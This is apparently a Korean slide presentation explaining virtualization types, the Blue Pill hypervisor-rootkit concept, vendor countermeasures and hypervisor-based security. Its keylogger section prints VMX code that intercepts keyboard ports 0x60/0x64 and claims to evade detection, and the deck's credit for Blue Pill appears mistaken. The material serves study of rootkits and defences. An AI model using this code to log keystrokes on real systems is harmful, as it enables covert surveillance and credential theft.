- facebook.com/groups/211935402242775/ 박한범 : Facebook.com/kese111 가상화기술을사용한루트킷미리보기가상화기술의보안솔루션적용에대한공부, 고찰 VIRTUALIZATION TECHNOLOGY FOR SECURITY
목차 가상화기술살펴보기» Emulation, Full & Para & Hardware-Assisted Virtualiazation 가상화기술과 Bluepill 아이디어» 가상화 Rootkit Bluepill 아이디어설명» 실제적용과간단히구현해본 Keylogger» 보안위협에대한 Vendor 대응 보안기술로서의가상화기술» Secure Hypervisor(:Servisor)
가상화기술 살펴보기
Virtualization Technology 가상화기술에대해서먼저알아볼까요? 가상화기술은네가지가있으며대동소이합니다. 어렵지않아요 ~ Emulation Full-Virtualization Para-Virtualization Hardware-Assistant Virtualization NOW!
가상화기술의등장이유와원리 가상화기술의동작원리를먼저살펴볼까합니다. 가상화기술의큰맥락은이렇습니다. 있지도않은것을있는것처럼거짓부렁으로꾸며내는것이죠. 만약여러분이 100Ghz 의 CPU 를갖고싶다면? 어떻게해야할까요? 이렇게꾸며내면어떨까요? :D CPU 정보를 100Ghz 를바꿔놓고, 실제 CPU 가 2Ghz 라면컴퓨터의시간과실시간을 50:1 의비율로적용되게하면? 가상화의이스트에그 100Ghz CPU
가상화기술의등장이유와원리 제가너무어렵게설명했나요!? ^^; 앞선예를쉽게풀면, 실제세상에 50 초가흘러갈때컴퓨터의시계가 1 초흘러가게맞춰놓는다면컴퓨터의 1 초는 50 초가되는것이고 CPU 가 2Ghz 라면단순히계산해서 2 * 50 = 100Ghz. 즉, 우리는 100Ghz 의 CPU 를갖게되는것입니다. 하지만이것은컴퓨터안의세계이야기이지, 사용자가있는현실세계의이야기가아닙니다. 그렇기때문에우리는여전히 2Ghz CPU 를갖고있는것이죠. 가상화기술이란, 이렇게보면별의미없는기술인것같죠. 그럼가상화기술이등장한이유가뭘까요? 실제로존재하지도않는것을존재하는것처럼꾸며놓는이유는새로운하드웨어제품을개발할때시제품을만들고테스트를하는것이너무비용이크게들기때문입니다. 때문에하드웨어가마치만들어진것처럼컴퓨터내부에구현해놓고이를테스트해보기위해서가상화가등장한것입니다. 여기서기억해야할것은, 가상화기술은존재하지않는것이마치존재하는것처럼컴퓨터내부에인식시킨다는것입니다.
Emulation Emulation 에뮬레이션방식은예를들면 ios, android 기기관련개발할때물리적인장비가없이도소프트웨어적으로폰을구현해서보여주는것을떠올리시면됩니다. APPLE 의 ios 는 ARM 머신을기반으로하고있습니다. GOOGLE 의 android 도마찬가지로 ARM 머신을기반하죠. 하지만개발머신은거의 x86 기반의 Windows 혹은 MacOS 에서하고있죠? 그렇다면 x86 머신에서 ios, android 가상머신을구동시키기위해서어떤일을해줄까요?
Emulation 방식 에뮬레이션방식은 x86 기반의 windows(or Mac) 환경위에가상머신을만들어서 ARM 명령어들을읽어 x86 기반에서동작할수있도록구현해놓은것입니다. 그림에 Guest OS X 아래 Hardware Type X 가있는것이그런의미에요. 예를들어 MOV 라는명령어가들어왔을때를생각해볼까요? ARM 의 instruction MOV instruction X86 의 instruction MOV instruction MOV r0, r1 MOV eax, ebx 쉽게생각하면대충이렇게변환을해주면된다는뜻이죠 ^^ 그리고이런역할을 Hardware Type X 가하는것이구요. 이런변환을 Binary Translation(= 그냥바이너리번역 ) 이라고부릅니다.
Emulation 방식 하지만세상에쉬운일만있으면재미없지않습니까? ㅋ이간단한변환이실제로어떤과정을거칠지대략적으로이해해볼까요? ARM 의 instruction MOV instruction MOV r0, r1 X86의 instruction MOV instruction MOV eax, ebx ARM 의 instruction Syntax : <Operation>{<cond>}{S} Rd, Operand2 X86의 instruction Opcode Instruction Description 88 /r MOV r/m8,r8 Move r8 to r/m8 89 /r MOV r/m16,r16 Move r16 to r/m16 89 /r MOV r/m32,r32 Move r32 to r/m32 8A /r MOV r8,r/m8 Move r/m8 to r8... 그외대략 30 가지 ( 과장 ) 의 mov 명령구문 (- _-; ) CISC ㄷㄷㄷ
Emulation 방식 가장간단한명령어라고볼수있는 MOV instruction 도굉장히복잡해보이죠? ^^; 실제로는정말간단합니다. X86 의 mov 인스트럭션의종류가굉장히많은이유는 operand ( 인자? ) 에따라 CISC 는 opcode 를세밀화하여속도를올렸기때문입니다. 이론적으로는 ARM 의 mov 명령어의 Rd 와 operand 에맞는 x86 의 mov 명령어와매칭시켜주면되는것이죠. 이역할을하는것이 Guest OS X 의 Hardware Type X 가되겠습니다. 이것이중요한이유는우리가살펴보고자하는 Hardware-Asissted Virtualization 방식의 Hypervisor(=VMM) 인 HVM 을이해하는데도움이되기때문입니다.
Full-Virtualization Full-Virtualization Using Binary Translation : User 레벨의요청은바로수행. : OS 레벨의요청은 Binary Tranlation 을거쳐 VMM이담당한다.
Para-Virtualization Para-Virtualization OS를수정하여, Systemcalls -> Hypercalls : Binary Translation 을거치지않아비교적빠르다. : User 요청은여전히바로수행된다.
Full & Para Virtualization 에앞서 Full & Para 가상화는 HVM 이등장하기전까지사용되던가상화기술입니다. 여담이지만, 가상화기술은 Robert P. Goldberg. Gerald J. Popek 두분에의해 1970 년대 1mhz cpu 시대에서모두연구 & 구현되었다고합니다. 시대를앞선천재란이런분들을말하는것이겠죠? 이분들이가상화기술에대해연구한자료에는 HVM 이있습니다. 흠 말하자면 Full & Para 는이미연구된 HVM 기술을 CPU vendor( intel, amd ) 에서그다지구현할필요를못느꼈기때문에 (HVM 기술은 CPU 의지원이필요 ) 등장한기술이라고생각됩니다. OS 와같은급의소프트웨어기술은언제나하드웨어와함께가는것같습니다. OS 의원리와함께하드웨어를공부하면이것이하드웨어가구현하여 OS 에도입된것인지, OS 에구현되어서하드웨어가지원한것인지궁금할때가있는데 HVM 만보면하드웨어쪽이먼저같습니다.
Full & Para Virtualization 지금에와서는그다지중요하다고생각되지않기때문에간단히설명하고넘어갈까합니다. 단, Full 가상화방식의 VMM 은유심히보시길바랍니다. 이 VMM 은 HVM 과거의동일하다고생각해도되니까요. 앞서 emulation 방식을살펴볼때 Guest OS X 에대한 Hardware Type X 를보셨지요? Emulation 방식의큰장점은 Guest OS X 에맞는 Hardware Type X 의 binary translation 을통해물리머신에독립적이라는점입니다. 반면 Full 과 Para 방식은모두실제물리머신에종속적입니다. 그이유는가상화방식에있습니다. ( 더큰이유는 Target 선정에있다고생각됩니다. ) Full 가상화방식은 VMWARE 와같은제품군이사용하는방식으로 x86 환경하에서의 Guest OS 구동을목적으로하고있다고생각하시면이해하기편할것같습니다.
Full & Para Virtualization 설명하자면, x86 window 7 에서 x86 window xp 를돌리거나 x86 용 Linux 를구동할수있습니다. 예를들어 Windows 7 과 XP 혹은 Linux 를일반적인명령은그대로처리해도문제가없습니다. Guest OS 에게 Ring 1 의권한부여 Emulation 방식에서예를들었던 Mov 명령을한번생각해보실까요? x86 을대상으로하는 OS 인 Windows 7, XP, Linux 모두 mov 명령이동일합니다. 그런고로 user level 에서사용되는명령들은 binary translation 은필요없고 CPU 가바로처리하도록함으로서굉장한성능향상을이룰수있었습니다. 하지만모든명령을이처럼 CPU 가바로처리하도록할수있는것은아닙니다. 이미물리머신의모든자원은 Host OS 가가지고있고가상머신은이 OS 상에서동작하기때문입니다. 그래서 Full 가상화는시스템콜과같은 OS 급의명령을 VMM(=Virtual Machine Monitor) 이캐치하여처리해주게됩니다.
Full & Para Virtualization 이번에는 Para 가상화방식에대해알아볼까요? 앞서 Full 가상화에서 user level 명령군을 CPU 가바로처리하게해줘서상당한성능향상을이뤘다는얘기를했습니다. 이와같은방식을 bypass( 통과 ) 라고합니다. Para 방식은이런 bypass 방식을 system call 같은 OS 명령에도적용하는것이가장큰특징입니다. 하지만 Ring 0 명령군 = OS 레벨명령군을가상머신에게그대로주는것은당연한얘기지만문제가있습니다. 어떤문제가있을까요? ^^ Guest OS 에게 Ring 0 의권한부여 Para 가상화 = XEN, XEN 이 Linux 기반이고 Windows 를지원하지못하는이유가여기있습니다. 그문제는, 시스템콜이완전 CPU 단에서처리하는것이아니고동작원리만제공하는것이며동작원리에맞춰 OS 가재구성하기때문입니다. 때문에 OS 간시스템콜은차이가있을수있고이를차이를극복하고 bypass 하기위해서 XEN 은 Linux Kernel 을수정하여 System Call 을 Hyper Call 로변형을하는것입니다. 아시다시피, Windows 커널의수정은불가능하죠 ^^
Hardware-Assist Virtualization AMD Pacifica Focus on SKINIT INTEL VT-X Focus on SENTER
Hardware-Assist Virtualization 드디어 HV 순서가왔습니다. HV 순서가왔으니다시집고넘어가야할것은기본적으로가상화기술은엄청난과부하를유발하는기술입니다. 그렇기때문에커널을수정하는 Para 가상화기술이등장하기도했던것입니다. HV 는큰맥락에서는 Full 가상화방식과동일하다고생각해도됩니다. 다만, VMM 이 CPU 단으로올라오면서가상화방식의가장큰과부하원인인 binary translation 이필요없어졌습니다!!! 또한 CPU 의지원을받는다는것도큰성능향상의원인이되겠지요 ^^. CPU 지원을받는것의가장큰의미는, 기존의 Full 방식은모든 OS Request 에대해 Trap 하고이를 Binary Translation 해줘야했고이것이가장큰부하의원인이었다면, HV 는 Hardware Debugger 처럼특정상황에 Trap 되게하여원하는로직을수행할수있다는것입니다.
Hardware-Assist Virtualization 의특징 Root / Non-Root Mode HV 방식은새로운권한체계를만들었습니다. 기존의 Ring 체계를모두 Non-Root 모드에두고새로 Root 모드를만들었습니다. VMM ( Virtual Machine Monitor ) VMCB in AMD, VMCS in INTEL» Virtual Machine(guest) s descriptor 다음에오는내용들을포함하고있습니다 : 1. guest에게서가로챌명령이나이벤트리스트 ( 예.write to CR3) 2. guest의실행환경을타나내는다양한제어비트들이나 guest code가수행되기전에취해질특별한동작들에대한비트등 3. Guest 프로세서상태 ( control register 등등.. ) I/O support by Architecture External Access Protection ( eg., DMA )
Hardware-Assist Virtualization 개괄동작 VMCB or VMCS 가상화를구현하기위해만들어야하는구조체 Architecture vendor s reference manual 참고 VMRUN or VMLAUNCH #VMEXIT Guest Mode 로가상화시작 ( Virtual Machine ) Back to Host mode( Real Machine ) Execute Host s Code» Intercepted Event or Interrupt dispatch
Hardware-Assist Virtualization 이해하기 하드웨어지원가상화기술은새로운개념이라이해하기난해한면도있습니다. 하지만그동안 Windows 와같은 OS 를공부해왔다면어떨까!!!! 요!! OS 에대한지식을가진분들이이해하기쉽게설명해보겠습니다!! 기본적으로 HVM 은 OS 와같은기능을한다고생각하시면됩니다. HVM OS
Hardware-Assist Virtualization 이해하기 이게무슨의미냐? OS 는멀티프로세서를지원하며이를위해각 CPU 코어당 PCR( 혹은 PRCB ) 라는구조체를만들고이를각코어의 FS:[1Ch] 에저장합니다. 이를통해각 Core 는각기 Tick 마다자신의 PRCB 를찾아작업을수행합니다. CPU[0] CPU[1] CPU[2] CPU[3] PRCB PRCB PRCB PRCB Process Process
Hardware-Assist Virtualization 이해하기 PRCB 는스케쥴링에따라 Process 를 PRCB 에올려놓고작업을수행하고이것이바로 Context Switching 입니다. 이를곰곰히생각해보시고, HVM = OS 를생각해보도록할까요?
Hardware-Assist Virtualization 이해하기 HVM 은 OS 와같은개념이라고말씀드렸습니다. OS 에서멀티프로세스를위해 PRCB 를만들고 Process 를 Context Switching 했던것과마찬가지로, VMM 은 VMCB 와같은관리구조체를만들고, 이에 Guest OS 의상태와 Host OS 인 VMM 의상태를저장하여 Context Switching 하는것입니다. AMD 혹은 INTEL 이제공하는 Manual 의 VMCB(amd) VMCS(intel) 구조체를참고하세요. CPU[0] CPU[1] CPU[2] CPU[3] VMM[0] VMM[1] VMM[2] VMM[3] VMCB VMCB VMCB VMCB OS
가상화기술과 BLUEPILL IDEA
RING -1 Bluepill IDEA
HVM 과 Bluepill HVM Ring -1 Bluepill = Hardware-assisted virtualization Machine = Ring 은 x86 권한체계로 0 이가장높은권한을갖습니다. Ring -1 은 OS 를가상화함으로서확보할수있는권한이가장높음을표현한것입니다. = Bluepill 이란 OS 를가상화시켜가장강력한권한을갖는층을확보하는 IDEA 를말합니다.
HVM 의일반적인모습 HVM 은일반적으로 VMCS 를설정해 Guest OS 를구동하고 Guest OS 의 Code 가실행되다가설정된동작을수행하면 Exit 되도록하여이를 VMM 에서처리. MEMORY HARDWARE CORE VMM VMCB 어떤동작에 Exit 시킬지설정해둔다. OS OS Guest OS Code Flow
Blupill HVM 을활용한 Blupill IDEA 는 Shawn Embleton 이 2007 년 BlackHat 에서발표했습니다. 현재는 Invisible Thing Lab 소속입니다. Bluepill IDEA 를간단히요약하자면 HVM 을사용하기위해 VMCB(amd) 를설정하고 Guest OS 를실행시키는순서를뒤바꿔서 Guest OS 에서 VMCB 를설정하여 VMM 을띄워 HVM 을활성화시키는것입니다.
BLUEPILL Argorithm -1 순서는이렇습니다. 1. 유저모드에서 bluepill 드라이버를로드합니다. ( HVM 관련명령을실행하기위한권한확보 ) 2. 가상화지원여부를체크 3-4. VMCB 메모리할당과초기화
BLUEPILL Argorithm -2 그리고마지막으로 5. VMM 을수행시킵니다.
가상화 Rootkit 고찰 Bluepill IDEA, 즉가상화 Rootkit 의가능성제기는꾸준히되어왔지만현실적으로구현하기위한제약사항과기술적난이도가굉장히높았습니다. 하지만 HVM 이등장하면서실제구현이가능한기술이되었습니다. Bluepill 이가상화를위해사용하는 HVM 기술의특징을몇가지집어보면, 1. HVM 은 OS 에어떠한변형도없이원하는 모든 동작을모니터링할수있습니다. 2. OS 상위의권한을갖습니다. 정확히이야기하면 HVM 이실행된후에사용자의 OS 가 Guest OS 가되어 비특권 상태가되게되고이는곧 HVM 에의해모든특권명령들이제어받게된다는뜻입니다. 3. HVM 은수행중정상적인방법으로는탐지될수없습니다. Bluepill IDEA 의특징은이런 HVM 을활용하면서, Guest OS 와같은 Memory 매핑을사용하기때문에 Windows 에상위 2G 대역에존재하는 Shared Library(DLL) 을사용할수있고시스템구조체에접근할수있다는점입니다.
실제적용과 간단히구현해본 Keylogger
VMM Bluepill Source 요약 Bluepill idea 가구현된 Source 는 Shawn Embleton 이공개하였습니다. 해당소스는, DriverEntry 로돌입한후에메모리할당후 startvmx() 를수행하는데요, startvmx 에서 VMCS 를세팅하게됩니다. ( 소스는 INTEL 용이네요. ) VMCS 의설정에서는한가지만기억하시면됩니다. VMM 과 Guest OS 를동일하게설정하는것입니다. 이방식의재미난점은앞서언급했지만 VMM = Guest OS 가되므로, Guest OS 와같은메모리대역을사용한다는점입니다. Windows 의경우 2G 를실제메모리주소와동일하게사용하므로, 실제 Bluepill 의응용범위는대단히넓다고생각됩니다.
VMM Bluepill Source 요약 VMCS 설정에대한부분은다루지않도록하겠습니다. 주요포인트는 VMMEntryPoint 를주는것인데요, VMCS 의 0x6c16 에 VMMEntryPoint 함수의주소를넣는부분입니다. WriteVMCS( 0x00006C16, (ULONG)VMMEntryPoint ); 0x6C16 은 Host RIP 로 #VMEXIT 된후에수행될코드의주소입니다. asm { } PUSHAD MOV EAX, 0x00004402 _emit 0x0F // VMREAD EBX, EAX _emit 0x78 _emit 0xC3 MOV ExitReason, EBX POPAD VMMEntryPoint 는 Register 들의내용을보존한이후, ExitReason 을끌어옵니다. 이후는 ExitReason 을핸들링해주는코드들이옵니다. 또하나중요한것은 ExitQualification 인데 ExitReason 이 #VMEXIT 의원인이라면 ExitQualification 은 ExitReason 에따라 VMCS 에넘겨주는인자같은것입니다. ^^
VMM Bluepill keylogger 왼쪽이미지는 VMM 을사용해간단히만든 Keylogger 의동작을보여줍니다. 보통보안솔루션은 DebugView 를막는데그이유를잘모르겠습니다. 설마해킹데모등에서 DebugView 가자주등장하니까이걸해킹툴로생각하는건아니겠죠? (-_- ); 해당 keylogger 는간단히 0x60, 0x64 포트를통한작업을하는소스로, Windows Driver 로구현시에는당연히키로거로탐지됩니다. 하지만 HVM 을통하면? 은행을지키고있는경찰과경관이있다고생각해보세요. 설령이들이권총이아닌기관총으로무장했더라도누군가시간을멈춰버리고은행을털어간다면손쓸방도가없겠지요.
VMM Bluepill keylogger 그럼먼저, 키로깅로직부터보여드리겠습니다. if( ExitReason == 0x0000001E ) { //Log( "IO Operation detected - CPU0", 0 ); string = (ExitQualification & 16)!= 0; in = (ExitQualification & 8)!= 0; port = ExitQualification >> 16; size = (ExitQualification & 7) + 1; // 5_24 kvm code // modify if (string in){ if(port == 0x60 ){ _asm{ in al, 0x64 mov cstate, al in al, 0x60 mov csc, al } DbgPrint("[vmm] Keyboard Access to 0x60 at 0x%x\n", GuestEIP ); PrintScanCode(cSC); } else{ _asm{ in al, 0x60 mov csc, al in al, 0x64 mov cstate, al } DbgPrint("[vmm] Keyboard Access to 0x64 at 0x%x\n", GuestEIP ); PrintScanCode(cSC); } }//(string in) End else{ if(port == 0x60 ){ _asm{ out 0x60, al } DbgPrint("[vmm] data to 0x60 at 0x%x\n", GuestEIP ); } else{ _asm{ out 0x64, al } DbgPrint("[vmm] data to 0x64 at 0x%x\n", GuestEIP); } }
VMM Bluepill keylogger 제생각에는키보드보안을하시는분이이키로깅소스를보면깜짝놀라실것같군요. 아니저게왜탐지가안돼? 이거사기같은데? 이러면서요. 키로깅로직이너무보편 (?) 적이라조금부끄럽습니다만 ; if( ExitReason == 0x0000001E ) { //Log( "IO Operation detected - CPU0", 0 ); string = (ExitQualification & 16)!= 0; in = (ExitQualification & 8)!= 0; port = ExitQualification >> 16; size = (ExitQualification & 7) + 1; 어쨌든, 가상화관련된부분은이곳뿐입니다. Intel 에서제공하는매뉴얼에따르면 ExitReason 0x1E 는 I/O Instruction 을의미합니다. 앞서 I/O Bitmap Mask 를통해 Port I/O 관련특권명령인 in, out 계통수행시 #VMEXIT 되도록설정했기때문에관련동작시 Exit 되는것이죠. 이를캐치했으면, 관련정보를 ExitQualification 을통해얻을수있습니다. 그후간단한 0x60, 0x64 포트관련동작을수행해키로깅을할수있었습니다.
VMM Bluepill keylogger * 코드 * ///////////////////MYMY/////////// /* * I/O Access Bitmap */ vmx_io_bitmap_a = MmAllocateNonCachedMemory( 4096 ); vmx_io_bitmap_b = MmAllocateNonCachedMemory( 4096 ); memset(vmx_io_bitmap_a, 0, 4096); memset(vmx_io_bitmap_b, 0, 4096); set_bit( 0x60, vmx_io_bitmap_a); set_bit( 0x64, vmx_io_bitmap_a); 이는 I/O BITMAP 을설정하는소스입니다. VMCS 에는 I/O BITMAP 이있고이에따라 I/O 특권명령수행시 Exit 시킬포트를설정할수있습니다. 지금은 0x60, 0x64 를설정했습니다. 참고로 port 는 65535 개가있으며이를위해 8k 를 I/O Bitmap 으로설정하고있습니다.
보안위협에대한 Vendor 대응
문제해결방안 HVM 은앞서언급했듯 특권 을독차지하는특징이있습니다. 때문에 HVM 을통해가능한모든보안위협에대해 Vendor 들은예방에초점을맞추고있습니다. AMD Secure Virtual Machine Architecture (SVM) INTEL Trust Execution Technology (TXT) With TPM ( Trusted Platform Module )
INTEL TXT Overview INTEL TXT 기술은 EFI 를사용합니다. 이론은간단한데요, EFI(BIOS 같은것 ) 단에서미리 Tiny HVM 을동작시킬것을말하고있습니다. x86 Vendor 들이지원하는 HVM 은 single layer 로하나의 VMM 만이존재가능합니다. 가장먼저 VMM 을구동시키고일련의과정에따라신뢰되는소프트웨어 (OS) 에만 VMM 관련명령을수행할수있도록제어한다는것이큰맥락입니다.
TPM 이과정에서무결성을확보하기위해서는 TPM 을사용합니다.
INTEL TXT with TPM TXT 와 TPM 의연동은제가보기엔너무어렵군요. 그냥그림만올려놨습니다.
보안기술로서의 가상화기술
INTEL AMT INTEL 은가상화기술을사용한보안솔루션의선두주자입니다. 대표적으로 AMT 기술을들수있습니다. AMT 는강력한원격관리시스템으로, 모니터링대상 PC 의전원인가부터포맷, OS 설치등의모든작업을할수있습니다. 이게왜가상화기술의사례냐면, AMT 기술은실제로는 INTEL 계열메인보드사우스브릿지칩셋에포함된소형 CPU 를통해이뤄지기때문입니다. 말하자면, 사우스브릿지에소형 PC 를넣어놨고이 PC 가 tiny HVM 으로서동작하고있어서원격으로타겟의모든것을제어할수있게되는것입니다.
Security + Hypervisor Hypervisor 는일반적으로 HVM 의 VMM 을뜻합니다. 오래전부터 HVM 을활용한기술들이연구되어왔으며, 보안쪽으로는특히기업시장관련한특허들이계속등장하는것같습니다. 기존의보안솔루션들이모두 OS 상에서동작하여생겼던문제들을해결할수있는열쇠나다름없기때문인것같습니다. 제나름대로가상화를통해얻을수있는이득을두논문을언급해설명드릴까합니다. 두논문모두최신은아닙니다만, 초심자로서어떤면이보안요소로적용될수있는지알수있을것같습니다. SecVisor: A Tiny Hypervisor to Provide Lifetime Kernel Code Integrity for Commodity OSes 커널기반가상머신을이용한시스템무결성모니터링시스템 SecVisor 는 OS 부팅전에 VMM 을구동하고이를통한보안품질의향상을목적합니다. KVM 을통해 Guest OS 의무결성을확보하는방안을다뤘습니다.
Security + Hypervisor 논문의양이상당하므로안타깝지만단편적인내용만몇가지예를들까합니다. 다루고자하는부분은메모리보호에대한항목입니다. DMA 와같은장비는메인메모리에직접접근이가능합니다. 하지만 HVM 은메모리컨트롤러를 IOMMU 를통해제어할수있으므로이와같은메모리접근을제어할수있습니다. 메모리에대한보다나은접근제어를제공할수있는방법은또있는데, HVM 은기본적으로실제존재하는물리메모리를페이징하여 Guest OS 에게줄수있습니다. 즉, HVM 은 Guest OS 의특정부위를매핑하여한번더접근제어를할수있으며이는해당메모리의권한변경등을통한공격을무위로돌릴수있습니다.
Security + Hypervisor 같은목적을다른방법을통해이루는방법도있습니다. Guest OS 의무결성을확보하기위해주요 Object 들의무결성을지속적으로감시하는방법입니다. 특히시스템테이블들에대한지속적인감시는혹시모를경우를대비할수있고동시에 write protection 해제등을통해메모리변조가된경우이를발견할수있겠죠. 아예시스템콜까지제어한다면어떨까요? 또는 HVM 단에서 IDS 를구현할수도있습니다. 이럴경우구현의어려움은존재하겠지만, 안전하겠죠. 다른측면으로는사용자가 IDS 의존재를인지할수없다는것도하나의장점이될수있겠습니다.
긴글읽어주셔서감사합니다.